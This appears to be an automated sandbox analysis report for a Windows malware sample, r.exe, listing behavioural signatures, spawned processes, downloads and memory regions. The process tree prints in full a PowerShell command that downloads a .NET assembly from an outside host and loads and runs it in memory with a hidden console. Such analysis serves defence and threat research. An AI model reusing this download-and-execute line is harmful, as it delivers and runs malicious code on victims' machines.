Analysis

  • user interaction
    yes
  • max time kernel
    24s
  • max time network
    25s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    22/09/2026, 21:48

General

  • Target
    r.exe
  • Size 13KB
  • Sample260922-1n4ddsshpc
  • SHA256 4cfe6e550f42de91e389eb36bb8f78aba4351f4b6570343fb292f466880539af
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Powershell Invoke Web Request.

  • Downloads MZ/PE file 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Enumerates system info in registry 2 TTPs 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\r.exe
    "C:\Users\Admin\AppData\Local\Temp\r.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3404
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; [Reflection.Assembly]::Load((Invoke-WebRequest 'https://prestigeclient.vip/downloads/r.php' -UseBasicParsing).Content).EntryPoint.Invoke($null,@(,[string[]]@('--hide-console')))"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Downloads MZ/PE file
      • Enumerates system info in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:3812

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        __PSScriptPolicyTest_q5ezj4ml.sdv.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q5ezj4ml.sdv.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/3404-0-0x0000000000010000-0x0000000000018000-memory.dmp

        memory/3812-4-0x000002005E600000-0x000002005E610000-memory.dmp

        memory/3812-5-0x000002005E600000-0x000002005E610000-memory.dmp

        memory/3812-13-0x000002005E5A0000-0x000002005E5C2000-memory.dmp

        memory/3812-14-0x0000020045FD0000-0x0000020045FD8000-memory.dmp

        memory/3812-16-0x0000000180000000-0x00000001804BC000-memory.dmp

        memory/3812-23-0x0000000180000000-0x00000001804BC000-memory.dmp

        memory/3812-24-0x000002005E600000-0x000002005E610000-memory.dmp

        memory/3812-25-0x000002005E600000-0x000002005E610000-memory.dmp